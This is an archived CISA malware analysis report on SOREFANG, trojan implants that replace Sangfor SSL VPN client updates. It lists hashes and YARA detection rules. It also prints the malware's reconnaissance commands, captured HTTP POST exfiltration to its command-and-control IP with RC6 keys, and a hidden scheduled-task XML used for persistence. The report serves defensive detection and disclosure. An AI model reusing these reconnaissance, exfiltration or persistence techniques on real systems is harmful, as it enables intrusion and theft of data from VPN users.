MAR-10296782-1.v1 – SOREFANG | CISA

Published: 2020-07-16 · Archived: 2026-04-02 10:53:56 UTC

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

The Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA). This malware has been identified as SOREFANG. Advanced persistent threat (APT) groups have been identified using this malware. For more information regarding this malware, please visit: https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development

This report analyzes three unique files. The files are Trojan implants designed to exploit Sangfor Secure Sockets Layer (SSL) virtual private network (VPN) servers. The malware replaces the Sangfor VPN software distributed to VPN clients. When installed, the implants provide the remote operator total control over the infected systems.

For a downloadable copy of IOCs, see MAR-10296782-1.v1.stix.

Submitted Files (3)

58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2 (58d8e65976b53b77645c248bfa18c3...)

65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75 (65495d173e305625696051944a36a0...)

a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064 (a4b790ddffb3d2e6691dcacae08fb0...)

IPs (2)

103.216.221.19

192.168.169.103

Findings

65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75

Tags

spywaretrojan

Details

Name	65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75
Size	437760 bytes
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	c5d5cb99291fa4b2a68b5ea3ff9d9f9a
SHA1	a1b5d50fe87f9c69a0e4da447f8d56155ce59e47
SHA256	65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75

SHA512	1f8e1ad6e910bdf3b251ffbb81b115233eb15be725d420139ba2af4f82009a655856e39bcb4d111b7bd1f135025f73d3eab1f32d1469f0679
ssdeep	6144:ifY8W87LY6I0sl/myJy3FkwTCIoo4ECxAO7BjqxNuC:iAV+sl/mey3FnChxCuC
Entropy	6.205690

Antivirus

Ahnlab	Malware/Win32.Generic
Antiy	Trojan/Win32.Wacatac
Cyren	W32/Trojan.ZYGO-1305
ESET	a variant of Win32/Spy.Agent.PXZ trojan
Ikarus	Trojan-Spy.Agent
K7	Spyware (0056414e1)
Quick Heal	Trojan.Agentb
TrendMicro	TrojanS.6BD050DD
TrendMicro House Call	TrojanS.6BD050DD
VirusBlokAda	Trojan.Agentb

YARA Rules

- rule CISA_10296782_01 : trojan WELLMESS

  {

  meta:

  Author = "CISA Code & Media Analysis"

  Date= "2020-07-06"

  Last_Modified="20200706_1017"

  Actor="n/a"

  Category="Trojan"

  Family="WellMess"

  Description = "Detects WellMess implant and SangFor Exploit"

  MD5_1 = "4d38ac3319b167f6c8acb16b70297111"

  SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"

  MD5_2 = "a32e1202257a2945bf0f878c58490af8"

  SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"

  MD5_3 = "861879f402fe3080ab058c0c88536be4"

  SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"

  MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"

  SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"

  MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"

  SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"

  MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"

  SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"

MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"

SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"

MD5_8 = "967fcf185634def5177f74b0f703bdc0"

SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"

MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"

SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"

MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"

SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"

MD5_11 = "8777a9796565effa01b03cf1cea9d24d"

SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"

MD5_12 = "507bb551bd7073f846760d8b357b7aa9"

SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"

strings:

$0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"

$1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"

$2 = "GoProject/src/bot/botlib.deleteFile"

$3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"

$4 = "GoProject/src/bot/botlib.AES_Decrypt"

$5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }

$6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }

$7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }

$8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }

$9 = "get_keyRC6"

$10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }

$11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }

$12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }

$13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }

$14 = "GoProject/src/bot/botlib.wellMess"

$15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }

$16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }

$17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }

$18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }

$19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }

$20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }

$21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }

$22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }

$23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }

$24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F }

$25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }

$26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }

$27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }

condition:

($0 and $1 and $2 and $3 and $4) or ($5 and $6 and $7 and $8 and $9) or ($10 and $11) or ($12 and $13) or ($14) or ($15 and $16 and $17 and $18) or ($19 and $20) or ($21 and $22 and $23) or ($24) or ($25 and $26) or ($27)

}

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2018-03-28 07:37:41-04:00
Import Hash	de67eebbdb41eb69bfdf6c23a6479582
Company Name	Sangfor Technologies Co.,Ltd
File Description	SangforUD
Internal Name	SangforUD.exe
Legal Copyright	Copyright (C) 2015
Original Filename	SangforUD.EXE
Product Name	SangforUD application
Product Version	7.6.0.100

PE Sections

MD5	Name	Raw Size	Entropy
79b491fc5059891654fc228b26171f6d	header	1024	3.067812
471b9d4a35e5f8b569ae1ca6bc91aba1	.text	240128	6.589660
d74b8d761debb3939c3878052199ffa2	.rdata	74240	5.586653
463a4a2ba2e9496201b711302c4e3008	.data	5120	3.612142
1f354d76203061bfdd5a53dae48d5435	.tls	512	0.020393
e9edb21c8ad50896cd623d0172835e6d	.rsrc	103936	3.885868
1d7b5cd8dcec22299f23bb463562815a	.reloc	12800	6.559632

Packers/Compilers/Cryptors

Relationships

65495d173e...	Connected_To	103.216.221.19

Description

This application is a malicious 32-bit Windows executable. The executable exploits a vulnerability identified within Sangfor SSL VPN devices. The vulnerability can be leveraged to gain control over systems because the VPN clients do not properly verify the integrity of software updates. The malware exploits this vulnerability by replacing software update binaries on

compromised VPN servers. The malicious binaries are then delivered and executed on the VPN clients reporting to the infected VPN server.

During runtime, the malware immediately attempts to clear all files from the directories "\\Sangfor\\SSL\\Log\\" and "\\Sangfor\\SSL\\Dump\\".

The malware then attempts to install itself as the file "\\Sangfor\\SSL\\SanforUPD.exe". This will make this binary presumably the first update executable that gets served out as application updates to targeted Sangfor VPN clients.

Next, it checks for the presence of a file named "\\Sangfor\\SSL\\.SangforUD.sum". If this file is not present, the malware will collect information from the infected system, using the following commands:

—Begin Information Collection Commands—

systeminfo.exe

ipconfig.exe /all

cmd.exe /c set

net.exe user

HOSTNAME.EXE

net.exe user /domain

net.exe group /domain

tasklist.exe /V

whoami.exe /all

—End Information Collection Commands—

It will also enumerate folders on disk. The collected system information and the result of the file enumerations are stored in a buffer in system memory. The malware collected the following information during analysis:

—Begin Information Collected—

User information (user name and SID)

Group information (Group name, type, SID, and attributes)

Privileges information (Privilege name, description, state (disabled, enabled, N/A))

—End Information Collected—

This data will next be encrypted, encoded, and then transmitted to the command and control (C2) server Internet Protocol (IP) address 103.216.221.19.

The data sent to the C2 server is encrypted utilizing a Rivest cipher 6 (RC6) cryptographic algorithm. The key used to encrypt the outbound data is dynamically generated during each C2 session. The RC6 key is appended to the outbound data so the remote operator will be able to decrypt the incoming data. The RC6 key can be found within the "filename" field of the C2 outbound data. For example, in the following example (partial) transmission the RC6 key d4908a2e47ff25c44054f8e623426243 can be utilized to decrypt the C2 data.

—Begin Partial C2 Transmission—

POST / HTTP/1.1

Content-Type: multipart/form-data; boundary=----9747672998524989295316105 75

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1

Host: 103.216.221.19

Content-Length: 38886

Cache-Control: no-cache

------9747672998524989295316105 75

Content-Disposition: form-data; name="_ga"; filename="d4908a2e47ff25c44054f8e623426243"

Content-Type: application/octet-stream

cktTaQTE2ed BUVZaeg tMkXS 5YrSj6zdDKXYl2v LQCi85ZruMOUmkSLpc0f Tychyjhpo9fJHt5EIQw, ZREaS. 3s4al2OGFMBkiqrDsN, EMfzzmDWPGoATf, oM3n kvApOjc85g1jx qACIwvhAC3lz3jTb3p6D, YI2gZ63Wpob9Bm88 gZIqfg6h. ohjr ecwax41ACb9Bm8khPfh hO0Aku, VqtXhmDmOTUen 019HaS6Wmy639Km ttKwx62W2EIw. vhAC3kKL, zp3Gg CQdqXRmDmOTWe1n0IZD, EEVytbV4Zg5jk1Hp9Nf, R2kuvB06xoA. kHazjW0VlmP7J KUxnye

—End Partial C2 Transmission—

The encrypted C2 traffic is encoded with a slightly modified Base64 algorithm. The encoded data appears to match Base64 encoded data except there are spaces in between parts of the data (0x20). An example of this is illustrated below where the first 32-bytes of the outbound data is replaced with the American Standard Code for Information Interchange (ASCII) bytes “x”.

—Begin Base64 Modification—

POST / HTTP/1.1

Content-Type: multipart/form-data; boundary=----97476729985249829531610575

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1

Host: 103.216.221.19

Content-Length: 24307

Cache-Control: no-cache

------97476729985249829531610575

Content-Disposition: form-data; name="_ga"; filename="7e061a180fa24eb5a318d6eae8797cc2"

Content-Type: application/octet-stream

eHh4eH h4eHh4eHh4eHh4eHh4eH h4eHh4eH h4eHh4eHhB6e, RwoJe. cqpDFRSyMwBqaG4 INaFZG9zm2 A7siND60oM4QhhCrf oAiAvC OUMq3, W1ZlPGq kKhkRkwjNYu1dc6. bUmU8ashTA Q8KSyp2xCnA m3A24PU 6KLQqzPsMiMmEZ9A, EQF4. Ryhld1t WZTxqZCoZEZMKzA6gq TaENSD6e6Izy9Caj6 W3Z9jNkB1 7tQpuEnU266hhaEc 4WwEPCkssdCs4GF. MoVXhKQHl6C aj4t8u6I ueaakH1 60jPL 0JqH1 bdn2M. 2QHWcgYUyhVeEqhj6I Pu6ANJXvs, zSvNsUXthp5NIDV0i

—End Base64 Modification—

As illustrated, it appears exactly like the Base64 output of encoding the ASCII bytes “x” with the exception of the periodic spaces within the encoded data.

The malware will attempt to query its remote C2 server every 900000 milliseconds with the POST request containing encrypted information about the victim system, each time querying the server for 260 bytes of data and searching it for the value “200” to ensure the data was received successfully, and the remote C2 server is alive (Figure 1).

If the malware is able to successfully pass and receive data from its C2 server, it will then generate 32-bytes of data and record the data into a file named "\\Sangfor\\SSL\\.SangforUD.sum”.

The malware will then enter a loop in which it attempts to download payloads from its C2 server every 900000 milliseconds. The 32-bytes of data contained with the newly created file “.SangforUD.sum” will be contained within these connections to the malware’s C2 server.

It is not known what the C2 server does with this 32-byte value, however the malware only creates this 32-byte value and writes it to the file “SangforUD.sum” once, which suggests the 32-bit value is a unique identifier for each compromised VPN server.

Each payload downloaded from the C2 server will be immediately Base64 decoded, RC6 decrypted, executed using CreateProcessW, and then copied to the system as "\\Sangfor\\SSL\\SangforUDC.exe".

In addition, the malware decrypts the following Extensible Markup Language (XML) data indicating it uses scheduled tasks to attain persistence on a target Windows system. This data is decrypted using the RC6 algorithm with the key: 2B6233EB3E872FF78988F4A8F3F6A3BA.

—Begin Decrypted XML Task Data—

<?xml version="1.0" encoding="UTF-16"?>

< Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">

< RegistrationInfo>

< Date>2019-07-16T06:00:28.6871947</Date>

< Author>Sangfor Technologies Co.,Ltd</Author>

< URI>SangforUpade</URI>

< /RegistrationInfo>

< Triggers>

< CalendarTrigger>

< Repetition>

< Interval>P1D</Interval>

< StopAtDurationEnd>false</StopAtDurationEnd>

< /Repetition>

< StartBoundary>2019-07-16T00:00:00</StartBoundary>

< Enabled>true</Enabled>

< ScheduleByDay>

< DaysInterval>1</DaysInterval>

< /ScheduleByDay>

< /CalendarTrigger>

< /Triggers>

< Settings>

< MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>

< DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>

< StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>

< AllowHardTerminate>true</AllowHardTerminate>

< StartWhenAvailable>true</StartWhenAvailable>

< RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>

< IdleSettings>

< StopOnIdleEnd>true</StopOnIdleEnd>

< RestartOnIdle>false</RestartOnIdle>

< /IdleSettings>

< AllowStartOnDemand>true</AllowStartOnDemand>

< Enabled>true</Enabled>

< Hidden>true</Hidden>

< RunOnlyIfIdle>false</RunOnlyIfIdle>

< DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>

< UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>

< WakeToRun>true</WakeToRun>

< ExecutionTimeLimit>PT0S</ExecutionTimeLimit>

< Priority>7</Priority>

< RestartOnFailure>

< Interval>PT1M</Interval>

< Count>3</Count>

< /RestartOnFailure>

< /Settings>

< Actions Context = "Author">

< Exec>

< Command></Command>

< /Exec>

< /Actions>

—End Decrypted XML Task Data—

Screenshots

Figure 1 - Screenshot of the connection to the C2 server when attempting to download an RC6 encrypted executable payload. Note: the unique identifier is within the "_ga=" field.

Figure 2 - Screenshot of the malware querying the C2 server after conducting the initial connection. The initial connection will pass information stolen from the target system to the C2 server, including a unique hash used as a victim system identifier. After a successful initial connection with the C2, the malware will begin attempting to download RC6 executable payloads.

Figure 3 - Screenshot of the initialization function for the RC6 algorithm contained in the malware.

103.216.221.19

Tags

command-and-control

HTTP Sessions

- POST / HTTP/1.1

  Content-Type: multipart/form-data; boundary=----9747672998524989295316105 75

  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1

  Host: 103.216.221.19

  Content-Length: 38886

  Cache-Control: no-cache

Whois

Queried whois.apnic.net with "103.216.221.19"...

% Information related to '103.216.220.0 - 103.216.223.255'

% Abuse contact for '103.216.220.0 - 103.216.223.255' is 'abuse@hostuniversal.com.au'

inetnum: 103.216.220.0 - 103.216.223.255

netname: HOST-AU

descr: Host Universal Pty Ltd

country: AU

org: ORG-HUPL1-AP

admin-c: HUPL1-AP

tech-c: HUPL1-AP

abuse-c: AH892-AP

status: ALLOCATED PORTABLE

remarks: ----------

remarks: To report network abuse, please contact mnt-irt

remarks: For troubleshooting, please contact tech-c and admin-c

remarks: Report invalid contact via www.apnic.net/invalidcontact

remarks: ----------

mnt-by: APNIC-HM

mnt-lower: MAINT-HOST-AU

mnt-routes: MAINT-HOST-AU

mnt-irt: IRT-HOST-AU

last-modified: 2020-06-10T13:06:06Z

source: APNIC

irt: IRT-HOST-AU

address: Host Universal Pty Ltd, c/o Brentnalls SA, 255 Port Road, Hindmarsh SA 5007, Australia, Hindmarsh So

e-mail: abuse@hostuniversal.com.au

abuse-mailbox: abuse@hostuniversal.com.au

admin-c: HUPL1-AP

tech-c: HUPL1-AP

auth: # Filtered

remarks: abuse@hostuniversal.com.au was validated on 2020-06-25

mnt-by: MAINT-HOST-AU

last-modified: 2020-06-25T16:58:38Z

source: APNIC

organisation: ORG-HUPL1-AP

org-name: Host Universal Pty Ltd

country: AU

address: Host Universal Pty Ltd

address: c/o Brentnalls SA

address: 255 Port Road, Hindmarsh SA 5007, Australia

phone: +61403394019

e-mail: abuse@hostuniversal.com.au

mnt-ref: APNIC-HM

mnt-by: APNIC-HM

last-modified: 2018-03-20T12:57:09Z

source: APNIC

role: ABUSE HOSTAU

address: Host Universal Pty Ltd, c/o Brentnalls SA, 255 Port Road, Hindmarsh SA 5007, Australia, Hindmarsh So

country: ZZ

phone: +000000000

e-mail: abuse@hostuniversal.com.au

admin-c: HUPL1-AP

tech-c: HUPL1-AP

nic-hdl: AH892-AP

remarks: Generated from irt object IRT-HOST-AU

abuse-mailbox: abuse@hostuniversal.com.au

mnt-by: APNIC-ABUSE

last-modified: 2020-06-10T13:06:05Z

source: APNIC

role: Host Universal Pty Ltd administrator

address: Host Universal Pty Ltd, c/o Brentnalls SA, 255 Port Road, Hindmarsh SA 5007, Australia, Hindmarsh So

country: AU

phone: +61403394019

fax-no: +61403394019

e-mail: abuse@hostuniversal.com.au

admin-c: HUPL1-AP

tech-c: HUPL1-AP

nic-hdl: HUPL1-AP

mnt-by: MAINT-HOST-AU

last-modified: 2016-05-03T06:34:59Z

source: APNIC

% Information related to '103.216.221.0/24AS136557'

route: 103.216.221.0/24

origin: AS136557

descr: Host Universal Pty Ltd

Host Universal Pty Ltd

c/o Brentnalls SA

255 Port Road, Hindmarsh SA 5007, Australia

mnt-by: MAINT-HOST-AU

last-modified: 2019-12-19T00:21:46Z

source: APNIC

Relationships

103.216.221.19	Connected_From	65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75
103.216.221.19	Connected_From	58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2

Description

65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75 and 58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2 attempt to connect to the IP address.

58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2

Tags

spywaretrojan

Details

Name	58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2
Size	428032 bytes
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	967fcf185634def5177f74b0f703bdc0
SHA1	152189b62c546d6297a7083778fba62dcec576be
SHA256	58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2
SHA512	184dba49900a9b7c2c170c857806bff67c2fb51bcfad672f841d8c484e0c4452a3599f237dadbd6b6eb44a5f541dd6282bee4654486f50031
ssdeep	6144:AC70wZI2ZhjKOYTvkh+YVSn9bEAMpNZr3qHLAONXGCSxfuMBES:/lZIpQoYVmZERH0LguMWS
Entropy	6.211072

Antivirus

Ahnlab	Malware/Win32.Generic
Antiy	Trojan/Win32.Wacatac
ESET	a variant of Win32/Spy.Agent.PXZ trojan
Ikarus	Trojan-Spy.Agent
K7	Spyware (0056414e1)
Microsoft Security Essentials	Trojan:Win32/Skeeyah.B!rfn
Quick Heal	Trojan.Agentb
TrendMicro	TrojanS.F2D90167
TrendMicro House Call	TrojanS.F2D90167

YARA Rules

- rule CISA_10296782_01 : trojan WELLMESS

  {

  meta:

  Author = "CISA Code & Media Analysis"

  Date= "2020-07-06"

  Last_Modified="20200706_1017"

```
    Actor="n/a"
    Category="Trojan"
    Family="WellMess"
    Description = "Detects WellMess implant and SangFor Exploit"
    MD5_1 = "4d38ac3319b167f6c8acb16b70297111"
    SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"
    MD5_2 = "a32e1202257a2945bf0f878c58490af8"
    SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
    MD5_3 = "861879f402fe3080ab058c0c88536be4"
    SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"
    MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"
    SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"
    MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"
    SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"
    MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"
    SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"
    MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"
    SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"
    MD5_8 = "967fcf185634def5177f74b0f703bdc0"
    SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
    MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"
    SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"
    MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"
    SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
    MD5_11 = "8777a9796565effa01b03cf1cea9d24d"
    SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"
    MD5_12 = "507bb551bd7073f846760d8b357b7aa9"
    SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"
  strings:
    $0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
    $1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
    $2 = "GoProject/src/bot/botlib.deleteFile"
    $3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
    $4 = "GoProject/src/bot/botlib.AES_Decrypt"
    $5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
    $6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
    $7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
    $8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
```

$9 = "get_keyRC6"

$10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }

$11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }

$12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }

$13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }

$14 = "GoProject/src/bot/botlib.wellMess"

$15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }

$16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }

$17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }

$18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }

$19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }

$20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }

$21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }

$22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }

$23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }

$24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F }

$25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }

$26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }

$27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }

condition:

($0 and $1 and $2 and $3 and $4) or ($5 and $6 and $7 and $8 and $9) or ($10 and $11) or ($12 and $13) or ($14) or ($15 and $16 and $17 and $18) or ($19 and $20) or ($21 and $22 and $23) or ($24) or ($25 and $26) or ($27)

}

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2019-03-01 10:20:20-05:00
Import Hash	daf2da52475fd8981b19ec3c321a983c
Company Name	Sangfor Technologies Co.,Ltd
File Description	SangforUD
Internal Name	SangforUD.exe
Legal Copyright	Copyright (C) 2015
Original Filename	SangforUD.EXE
Product Name	SangforUD application
Product Version	7.6.0.100

PE Sections

MD5	Name	Raw Size	Entropy
1cd19b3151a670e3d1d2a24953392004	header	1024	3.025361
98e91043bf45d10a621d72a2e3200ed0	.text	232960	6.609761
aa6f1abb810df36035bc35cf27c68d59	.rdata	72704	5.619637
c947f4e73cc3503e16ce6173df639c87	.data	4608	3.792666
1f354d76203061bfdd5a53dae48d5435	.tls	512	0.020393
ec6c94b5135c0c75d0a8b7288b77cbae	.rsrc	103936	3.885931
b744db87f1a59d6af2a5a37c0da519d1	.reloc	12288	6.571358

Packers/Compilers/Cryptors

Relationships

58d8e65976...	Connected_To	103.216.221.19

Description

This file is a 32-bit Windows executable and is similar in design and structure to the file 65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75. This application is also designed to replace the update binaries served out from Sangfor SSL VPN devices. This malware uses the hard-coded C2 IP address 103.216.221.19 to download additional payloads.

a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064

Tags

trojan

Details

Name	a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064
Size	434688 bytes
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	a32e1202257a2945bf0f878c58490af8
SHA1	416df2d22338f412571cdaedb40ab33eb38977af
SHA256	a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064
SHA512	92ac91e36fc9a8463b2a7b00e6dba687e86a15484d836cb2c8d399d76cd012b71523a9ddae43d9795e2c14fdb7ccc2137d668f7c691b47a2
ssdeep	6144:4t4156qfXqT02bFXCYv123kUo4GECAOcL6xDE4U:oc6qkt5vdU6ECe4U
Entropy	6.203383

Antivirus

Ahnlab	Malware/Win32.Generic
Antiy	GrayWare/Win32.Uwasson
ESET	Win32/Spy.Agent.PXZ trojan
Ikarus	Trojan-Spy.Agent
K7	Riskware (0040eff71)
McAfee	RDN/Generic.cf
Microsoft Security Essentials	Trojan:Win32/Occamy.C

NetGate	Trojan.Win32.Malware
VirusBlokAda	Trojan.Agentb

YARA Rules

- rule CISA_10296782_01 : trojan WELLMESS

  {

  meta:

  Author = "CISA Code & Media Analysis"

  Date= "2020-07-06"

  Last_Modified="20200706_1017"

  Actor="n/a"

  Category="Trojan"

  Family="WellMess"

  Description = "Detects WellMess implant and SangFor Exploit"

  MD5_1 = "4d38ac3319b167f6c8acb16b70297111"

